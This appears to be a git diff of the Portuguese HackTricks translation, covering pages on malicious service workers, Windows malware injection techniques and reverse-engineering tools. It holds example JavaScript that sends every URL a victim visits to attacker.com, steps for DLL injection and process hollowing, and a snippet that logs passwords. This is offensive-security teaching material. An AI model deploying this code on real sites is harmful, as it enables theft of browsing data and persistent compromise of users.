|
||||||
As **permissões de notificação push** impactam diretamente a capacidade de um **service worker** se comunicar com o servidor sem interação direta do usuário. Se as permissões forem negadas, isso limita o potencial do service worker de representar uma ameaça contínua. Por outro lado, conceder permissões aumenta os riscos de segurança ao permitir a recepção e execução de possíveis exploits.
|
As **permissões de notificação push** impactam diretamente a capacidade de um **service worker** se comunicar com o servidor sem interação direta do usuário. Se as permissões forem negadas, limita o potencial do service worker de representar uma ameaça contínua. Por outro lado, conceder permissões aumenta os riscos de segurança ao permitir a recepção e execução de possíveis exploits.
|
||||||
|
|
||||||
## Ataque Criando um Service Worker
|
## Ataque Criando um Service Worker
|
||||||
|
|
||||||
Para explorar essa vulnerabilidade, você precisa encontrar:
|
Para explorar essa vulnerabilidade, você precisa encontrar:
|
||||||
|
|
||||||
* Uma maneira de **fazer upload de arquivos JS arbitrários** para o servidor e um **XSS para carregar o service worker** do arquivo JS enviado
|
* Uma maneira de **carregar arquivos JS arbitrários** no servidor e um **XSS para carregar o service worker** do arquivo JS carregado
|
||||||
* Uma **solicitação JSONP vulnerável** onde você pode **manipular a saída (com código JS arbitrário)** e um **XSS** para **carregar o JSONP com um payload** que irá **carregar um service worker malicioso**.
|
* Uma **solicitação JSONP vulnerável** onde você pode **manipular a saída (com código JS arbitrário)** e um **XSS** para **carregar o JSONP com um payload** que irá **carregar um service worker malicioso**.
|
||||||
|
|
||||||
No exemplo a seguir, vou apresentar um código para **registrar um novo service worker** que irá ouvir o evento `fetch` e **enviar para o servidor dos atacantes cada URL acessada** (este é o código que você precisaria **fazer upload** para o **servidor** ou carregar via uma resposta **JSONP vulnerável**):
|
No exemplo a seguir, vou apresentar um código para **registrar um novo service worker** que irá ouvir o evento `fetch` e **enviar para o servidor dos atacantes cada URL acessada** (este é o código que você precisaria **carregar** no **servidor** ou carregar via uma resposta **JSONP vulnerável**):
|
||||||
```javascript
|
```javascript
|
||||||
self.addEventListener('fetch', function(e) {
|
self.addEventListener('fetch', function(e) {
|
||||||
e.respondWith(caches.match(e.request).then(function(response) {
|
e.respondWith(caches.match(e.request).then(function(response) {
|
||||||
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
E este é o código que irá **registrar o worker** (o código que você deve ser capaz de executar abusando de um **XSS**). Neste caso, uma requisição **GET** será enviada para o servidor dos **atacantes** **notificando** se o **registro** do service worker foi bem-sucedido ou não:
|
E este é o código que irá **registrar o worker** (o código que você deveria ser capaz de executar abusando de um **XSS**). Neste caso, uma requisição **GET** será enviada para o servidor dos **atacantes** **notificando** se o **registro** do service worker foi bem-sucedido ou não:
|
||||||
```javascript
|
```javascript
|
||||||
<script>
|
<script>
|
||||||
window.addEventListener('load', function() {
|
window.addEventListener('load', function() {
|
||||||
|
@ -75,7 +75,7 @@ Existe um **C2** dedicado à **exploração de Service Workers** chamado [**Shad
|
||||||
|
|
||||||
A diretiva de **cache de 24 horas** limita a vida de um **service worker (SW)** malicioso ou comprometido a no máximo 24 horas após a correção de uma vulnerabilidade de XSS, assumindo status de cliente online. Para minimizar a vulnerabilidade, os operadores do site podem reduzir o Tempo de Vida (TTL) do script do SW. Os desenvolvedores também são aconselhados a criar um [**interruptor de desativação do service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) para desativação rápida.
|
A diretiva de **cache de 24 horas** limita a vida de um **service worker (SW)** malicioso ou comprometido a no máximo 24 horas após a correção de uma vulnerabilidade de XSS, assumindo status de cliente online. Para minimizar a vulnerabilidade, os operadores do site podem reduzir o Tempo de Vida (TTL) do script do SW. Os desenvolvedores também são aconselhados a criar um [**interruptor de desativação do service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) para desativação rápida.
|
||||||
|
|
||||||
## Abusando de `importScripts` em um SW via DOM Clobbering
|
## Abusando do `importScripts` em um SW via DOM Clobbering
|
||||||
|
|
||||||
A função **`importScripts`** chamada de um Service Worker pode **importar um script de um domínio diferente**. Se esta função for chamada usando um **parâmetro que um atacante poderia** modificar, ele seria capaz de **importar um script JS de seu domínio** e obter XSS.
|
A função **`importScripts`** chamada de um Service Worker pode **importar um script de um domínio diferente**. Se esta função for chamada usando um **parâmetro que um atacante poderia** modificar, ele seria capaz de **importar um script JS de seu domínio** e obter XSS.
|
||||||
|
|
||||||
|
@ -99,7 +99,7 @@ self.importScripts(host + "/sw_extra.js");
|
||||||
```
|
```
|
||||||
### Com DOM Clobbering
|
### Com DOM Clobbering
|
||||||
|
|
||||||
Para mais informações sobre o que é o DOM Clobbering, consulte:
|
Para mais informações sobre o que é o DOM Clobbering, verifique:
|
||||||
|
|
||||||
{% content-ref url="dom-clobbering.md" %}
|
{% content-ref url="dom-clobbering.md" %}
|
||||||
[dom-clobbering.md](dom-clobbering.md)
|
[dom-clobbering.md](dom-clobbering.md)
|
||||||
|
@ -107,7 +107,7 @@ Para mais informações sobre o que é o DOM Clobbering, consulte:
|
||||||
|
|
||||||
Se a URL/domínio que o SW está usando para chamar **`importScripts`** estiver **dentro de um elemento HTML**, é **possível modificá-lo via DOM Clobbering** para fazer o SW **carregar um script do seu próprio domínio**.
|
Se a URL/domínio que o SW está usando para chamar **`importScripts`** estiver **dentro de um elemento HTML**, é **possível modificá-lo via DOM Clobbering** para fazer o SW **carregar um script do seu próprio domínio**.
|
||||||
|
|
||||||
Para um exemplo disso, consulte o link de referência.
|
Para um exemplo disso, verifique o link de referência.
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
|
@ -115,7 +115,7 @@ Para um exemplo disso, consulte o link de referência.
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -123,7 +123,7 @@ Para um exemplo disso, consulte o link de referência.
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
|
|
@ -2,21 +2,21 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks Especialista em Equipe Vermelha AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe suas técnicas de hacking enviando PRs para** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -110,29 +110,29 @@ Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
### Injeção de DLL
|
### Injeção de DLL
|
||||||
|
|
||||||
Executar uma DLL arbitrária dentro de outro processo
|
Execute uma DLL arbitrária dentro de outro processo
|
||||||
|
|
||||||
1. Localizar o processo para injetar a DLL maliciosa: CreateToolhelp32Snapshot, Process32First, Process32Next
|
1. Localize o processo para injetar a DLL maliciosa: CreateToolhelp32Snapshot, Process32First, Process32Next
|
||||||
2. Abrir o processo: GetModuleHandle, GetProcAddress, OpenProcess
|
2. Abra o processo: GetModuleHandle, GetProcAddress, OpenProcess
|
||||||
3. Escrever o caminho da DLL dentro do processo: VirtualAllocEx, WriteProcessMemory
|
3. Escreva o caminho para a DLL dentro do processo: VirtualAllocEx, WriteProcessMemory
|
||||||
4. Criar uma thread no processo que carregará a DLL maliciosa: CreateRemoteThread, LoadLibrary
|
4. Crie uma thread no processo que carregará a DLL maliciosa: CreateRemoteThread, LoadLibrary
|
||||||
|
|
||||||
Outras funções a serem usadas: NTCreateThreadEx, RtlCreateUserThread
|
Outras funções a serem usadas: NTCreateThreadEx, RtlCreateUserThread
|
||||||
|
|
||||||
### Injeção de DLL Reflexiva
|
### Injeção de DLL Reflexiva
|
||||||
|
|
||||||
Carregar uma DLL maliciosa sem chamar chamadas normais de API do Windows.\
|
Carregue uma DLL maliciosa sem chamar chamadas normais de API do Windows.\
|
||||||
A DLL é mapeada dentro de um processo, resolverá os endereços de importação, corrigirá as realocações e chamará a função DllMain.
|
A DLL é mapeada dentro de um processo, resolverá os endereços de importação, corrigirá as realocações e chamará a função DllMain.
|
||||||
|
|
||||||
### Sequestro de Thread
|
### Sequestro de Thread
|
||||||
|
|
||||||
Encontrar um thread de um processo e fazer com que ele carregue uma DLL maliciosa
|
Encontre um thread de um processo e faça-o carregar uma DLL maliciosa
|
||||||
|
|
||||||
1. Encontrar um thread alvo: CreateToolhelp32Snapshot, Thread32First, Thread32Next
|
1. Encontre um thread alvo: CreateToolhelp32Snapshot, Thread32First, Thread32Next
|
||||||
2. Abrir o thread: OpenThread
|
2. Abra o thread: OpenThread
|
||||||
3. Suspender o thread: SuspendThread
|
3. Suspenda o thread: SuspendThread
|
||||||
4. Escrever o caminho da DLL maliciosa dentro do processo vítima: VirtualAllocEx, WriteProcessMemory
|
4. Escreva o caminho para a DLL maliciosa dentro do processo vítima: VirtualAllocEx, WriteProcessMemory
|
||||||
5. Retomar o thread carregando a biblioteca: ResumeThread
|
5. Retome o thread carregando a biblioteca: ResumeThread
|
||||||
|
|
||||||
### Injeção de PE
|
### Injeção de PE
|
||||||
|
|
||||||
|
@ -142,36 +142,19 @@ Injeção de Execução Portátil: O executável será escrito na memória do pr
|
||||||
|
|
||||||
O malware desmapeará o código legítimo da memória do processo e carregará um binário malicioso
|
O malware desmapeará o código legítimo da memória do processo e carregará um binário malicioso
|
||||||
|
|
||||||
1. Criar um novo processo: CreateProcess
|
1. Crie um novo processo: CreateProcess
|
||||||
2. Desmapear a memória: ZwUnmapViewOfSection, NtUnmapViewOfSection
|
2. Desmapeie a memória: ZwUnmapViewOfSection, NtUnmapViewOfSection
|
||||||
3. Escrever o binário malicioso na memória do processo: VirtualAllocEc, WriteProcessMemory
|
3. Escreva o binário malicioso na memória do processo: VirtualAllocEc, WriteProcessMemory
|
||||||
4. Definir o ponto de entrada e executar: SetThreadContext, ResumeThread
|
4. Defina o ponto de entrada e execute: SetThreadContext, ResumeThread
|
||||||
|
|
||||||
## Hooking
|
## Hooking
|
||||||
|
|
||||||
* A **SSDT** (**Tabela de Descritores de Serviço do Sistema**) aponta para funções do kernel (ntoskrnl.exe) ou driver GUI (win32k.sys) para que processos de usuário possam chamar essas funções.
|
* A **SSDT** (**Tabela de Descritores de Serviço do Sistema**) aponta para funções do kernel (ntoskrnl.exe) ou driver GUI (win32k.sys) para que processos de usuário possam chamar essas funções.
|
||||||
* Um rootkit pode modificar esses ponteiros para endereços que ele controla
|
* Um rootkit pode modificar esses ponteiros para endereços que ele controla
|
||||||
* **IRP** (**Pacotes de Solicitação de E/S**) transmitem pedaços de dados de um componente para outro. Quase tudo no kernel usa IRPs e cada objeto de dispositivo tem sua própria tabela de funções que pode ser sequestrada: DKOM (Manipulação Direta de Objetos do Kernel)
|
* **IRP** (**Pacotes de Solicitação de E/S**) transmitem pedaços de dados de um componente para outro. Quase tudo no kernel usa IRPs e cada objeto de dispositivo tem sua própria tabela de funções que podem ser hookadas: DKOM (Manipulação Direta de Objetos do Kernel)
|
||||||
* A **IAT** (**Tabela de Endereços de Importação**) é útil para resolver dependências. É possível sequestrar essa tabela para interceptar o código que será chamado.
|
* A **IAT** (**Tabela de Endereços de Importação**) é útil para resolver dependências. É possível hookar essa tabela para sequestrar o código que será chamado.
|
||||||
* **EAT** (**Tabela de Endereços de Exportação**) Hooks. Esses hooks podem ser feitos do **espaço do usuário**. O objetivo é sequestrar funções exportadas por DLLs.
|
* **EAT** (**Tabela de Endereços de Exportação**) Hooks. Esses hooks podem ser feitos do **espaço do usuário**. O objetivo é hookar funções exportadas por DLLs.
|
||||||
* **Hooks Inline**: Esse tipo é difícil de alcançar. Isso envolve modificar o código das funções em si. Talvez colocando um salto no início disso.
|
* **Hooks Inline**: Esse tipo é difícil de alcançar. Isso envolve modificar o código das funções em si. Talvez colocando um salto no início disso.
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no GitHub.
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -14,9 +14,9 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -51,11 +51,11 @@ O mérito aqui é que se um código-fonte perdido requer restauração de uma mo
|
||||||
|
|
||||||
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
|
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
|
||||||
|
|
||||||
Com um modelo abrangente de complementos e uma API que estende a ferramenta para atender às suas necessidades exatas, o .NET reflector economiza tempo e simplifica o desenvolvimento. Vamos dar uma olhada na infinidade de serviços de engenharia reversa que esta ferramenta oferece:
|
Com um modelo abrangente de complementos e uma API que estende a ferramenta para atender às suas necessidades exatas, o .NET Reflector economiza tempo e simplifica o desenvolvimento. Vamos dar uma olhada na infinidade de serviços de engenharia reversa que essa ferramenta oferece:
|
||||||
|
|
||||||
* Fornece uma visão de como os dados fluem por uma biblioteca ou componente
|
* Fornece uma visão de como os dados fluem por uma biblioteca ou componente
|
||||||
* Fornece insights sobre a implementação e uso de idiomas e estruturas .NET
|
* Fornece insights sobre a implementação e uso de idiomas e estruturas .NET
|
||||||
* Encontra funcionalidades não documentadas e não expostas para obter mais das APIs e tecnologias utilizadas.
|
* Encontra funcionalidades não documentadas e não expostas para obter mais das APIs e tecnologias usadas.
|
||||||
* Encontra dependências e diferentes montagens
|
* Encontra dependências e diferentes montagens
|
||||||
* Localiza exatamente a origem de erros em seu código, componentes de terceiros e bibliotecas.
|
* Localiza exatamente a origem de erros em seu código, componentes de terceiros e bibliotecas.
|
||||||
* Depura o código-fonte de todo o código .NET com o qual você trabalha.
|
* Depura o código-fonte de todo o código .NET com o qual você trabalha.
|
||||||
|
@ -75,9 +75,9 @@ File.AppendAllText(path, "Password: " + password + "\n");
|
||||||
```
|
```
|
||||||
### Depuração do DNSpy
|
### Depuração do DNSpy
|
||||||
|
|
||||||
Para depurar código usando o DNSpy, você precisa:
|
Para depurar o código usando o DNSpy, você precisa:
|
||||||
|
|
||||||
Primeiro, alterar os **atributos de Assembly** relacionados à **depuração**:
|
Primeiro, alterar os **atributos do Assembly** relacionados à **depuração**:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (278).png>)
|
![](<../../.gitbook/assets/image (278).png>)
|
||||||
```aspnet
|
```aspnet
|
||||||
|
@ -98,7 +98,7 @@ Em seguida, salve o novo arquivo via _**Arquivo >> Salvar módulo...**_:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (279).png>)
|
![](<../../.gitbook/assets/image (279).png>)
|
||||||
|
|
||||||
Isso é necessário porque se você não fizer isso, durante a **execução** várias **otimizações** serão aplicadas ao código e pode ser possível que ao depurar um **ponto de interrupção nunca seja atingido** ou algumas **variáveis não existam**.
|
Isso é necessário porque se você não fizer isso, em **tempo de execução** várias **otimizações** serão aplicadas ao código e poderia ser possível que durante a depuração um **ponto de interrupção nunca seja atingido** ou algumas **variáveis não existam**.
|
||||||
|
|
||||||
Então, se sua aplicação .NET está sendo **executada** pelo **IIS**, você pode **reiniciá-la** com:
|
Então, se sua aplicação .NET está sendo **executada** pelo **IIS**, você pode **reiniciá-la** com:
|
||||||
```
|
```
|
||||||
|
@ -137,7 +137,7 @@ Clique com o botão direito em qualquer módulo no **Explorador de Assemblies**
|
||||||
|
|
||||||
* **Carregar rundll32** (64 bits em C:\Windows\System32\rundll32.exe e 32 bits em C:\Windows\SysWOW64\rundll32.exe)
|
* **Carregar rundll32** (64 bits em C:\Windows\System32\rundll32.exe e 32 bits em C:\Windows\SysWOW64\rundll32.exe)
|
||||||
* Selecione o depurador **Windbg**
|
* Selecione o depurador **Windbg**
|
||||||
* Selecione "**Suspender na carga/descarga da biblioteca**"
|
* Selecione "**Suspender na carga/descarga de biblioteca**"
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (135).png>)
|
![](<../../.gitbook/assets/image (135).png>)
|
||||||
|
|
||||||
|
@ -190,7 +190,7 @@ Você pode encontrar uma versão ligeiramente modificada do Blobrunner no seguin
|
||||||
|
|
||||||
### Depurando um shellcode com jmp2it
|
### Depurando um shellcode com jmp2it
|
||||||
|
|
||||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) é muito semelhante ao blobrunner. Ele irá **alocar** o **shellcode** dentro de um espaço de memória e iniciar um **loop eterno**. Em seguida, você precisa **anexar o depurador** ao processo, **iniciar, esperar 2-5 segundos e pressionar parar** e você se encontrará dentro do **loop eterno**. Pule para a próxima instrução do loop eterno, pois será uma chamada para o shellcode, e finalmente você se encontrará executando o shellcode.
|
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)é muito semelhante ao blobrunner. Ele irá **alocar** o **shellcode** dentro de um espaço de memória e iniciar um **loop eterno**. Em seguida, você precisa **anexar o depurador** ao processo, **iniciar aguardar 2-5 segundos e pressionar parar** e você se encontrará dentro do **loop eterno**. Pule para a próxima instrução do loop eterno, pois será uma chamada para o shellcode, e finalmente você se encontrará executando o shellcode.
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (397).png>)
|
![](<../../.gitbook/assets/image (397).png>)
|
||||||
|
|
||||||
|
@ -200,7 +200,7 @@ Você pode baixar uma versão compilada do [jmp2it na página de lançamentos](h
|
||||||
|
|
||||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) é a GUI do radare. Usando o cutter, você pode emular o shellcode e inspecioná-lo dinamicamente.
|
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) é a GUI do radare. Usando o cutter, você pode emular o shellcode e inspecioná-lo dinamicamente.
|
||||||
|
|
||||||
Observe que o Cutter permite "Abrir Arquivo" e "Abrir Shellcode". No meu caso, quando abri o shellcode como arquivo, ele o descompilou corretamente, mas quando o abri como shellcode, não:
|
Observe que o Cutter permite "Abrir Arquivo" e "Abrir Shellcode". No meu caso, quando abri o shellcode como um arquivo, ele o descompilou corretamente, mas quando o abri como um shellcode, não:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (400).png>)
|
![](<../../.gitbook/assets/image (400).png>)
|
||||||
|
|
||||||
|
@ -230,7 +230,7 @@ scDbg também conta com um iniciador gráfico onde você pode selecionar as opç
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (398).png>)
|
![](<../../.gitbook/assets/image (398).png>)
|
||||||
|
|
||||||
A opção **Create Dump** fará o dump do shellcode final se alguma alteração for feita dinamicamente no shellcode na memória (útil para baixar o shellcode decodificado). O **start offset** pode ser útil para iniciar o shellcode em um deslocamento específico. A opção **Debug Shell** é útil para depurar o shellcode usando o terminal scDbg (no entanto, considero qualquer uma das opções explicadas anteriormente melhor para esse fim, pois você poderá usar o Ida ou x64dbg).
|
A opção **Create Dump** irá despejar o shellcode final se alguma alteração for feita dinamicamente no shellcode na memória (útil para baixar o shellcode decodificado). O **start offset** pode ser útil para iniciar o shellcode em um deslocamento específico. A opção **Debug Shell** é útil para depurar o shellcode usando o terminal scDbg (no entanto, considero qualquer uma das opções explicadas anteriormente melhor para este assunto, pois você poderá usar o Ida ou x64dbg).
|
||||||
|
|
||||||
### Desmontagem usando o CyberChef
|
### Desmontagem usando o CyberChef
|
||||||
|
|
||||||
|
@ -250,11 +250,11 @@ apt-get install libz3-dev
|
||||||
```
|
```
|
||||||
E [instale o keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
|
E [instale o keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
|
||||||
|
|
||||||
Se você está participando de um **CTF, essa solução alternativa para encontrar a flag** pode ser muito útil: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
Se estiver participando de um **CTF, essa solução alternativa para encontrar a flag** pode ser muito útil: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||||
|
|
||||||
## Rust
|
## Rust
|
||||||
|
|
||||||
Para encontrar o **ponto de entrada**, procure as funções por `::main` como em:
|
Para encontrar o **ponto de entrada**, pesquise as funções por `::main` como em:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (612).png>)
|
![](<../../.gitbook/assets/image (612).png>)
|
||||||
|
|
||||||
|
@ -265,7 +265,7 @@ Tendo o **nome** das **funções** sendo chamadas, pesquise sobre elas na **Inte
|
||||||
|
|
||||||
Para binários compilados em Delphi, você pode usar [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
|
Para binários compilados em Delphi, você pode usar [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
|
||||||
|
|
||||||
Se você precisar reverter um binário Delphi, sugiro que use o plugin do IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
Se precisar reverter um binário Delphi, sugiro que use o plugin do IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||||
|
|
||||||
Basta pressionar **ATL+f7** (importar plugin python no IDA) e selecionar o plugin python.
|
Basta pressionar **ATL+f7** (importar plugin python no IDA) e selecionar o plugin python.
|
||||||
|
|
||||||
|
@ -275,15 +275,15 @@ Também é muito interessante porque se você pressionar um botão na aplicaçã
|
||||||
|
|
||||||
## Golang
|
## Golang
|
||||||
|
|
||||||
Se você precisar reverter um binário Golang, sugiro que use o plugin do IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
Se precisar reverter um binário Golang, sugiro que use o plugin do IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||||
|
|
||||||
Basta pressionar **ATL+f7** (importar plugin python no IDA) e selecionar o plugin python.
|
Basta pressionar **ATL+f7** (importar plugin python no IDA) e selecionar o plugin python.
|
||||||
|
|
||||||
Isso resolverá os nomes das funções.
|
Isso resolverá os nomes das funções.
|
||||||
|
|
||||||
## Python compilado
|
## Python Compilado
|
||||||
|
|
||||||
Nesta página, você pode encontrar como obter o código Python de um binário compilado ELF/EXE Python:
|
Nesta página, você pode encontrar como obter o código Python de um binário compilado em ELF/EXE:
|
||||||
|
|
||||||
{% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
{% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
||||||
[.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
[.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||||
|
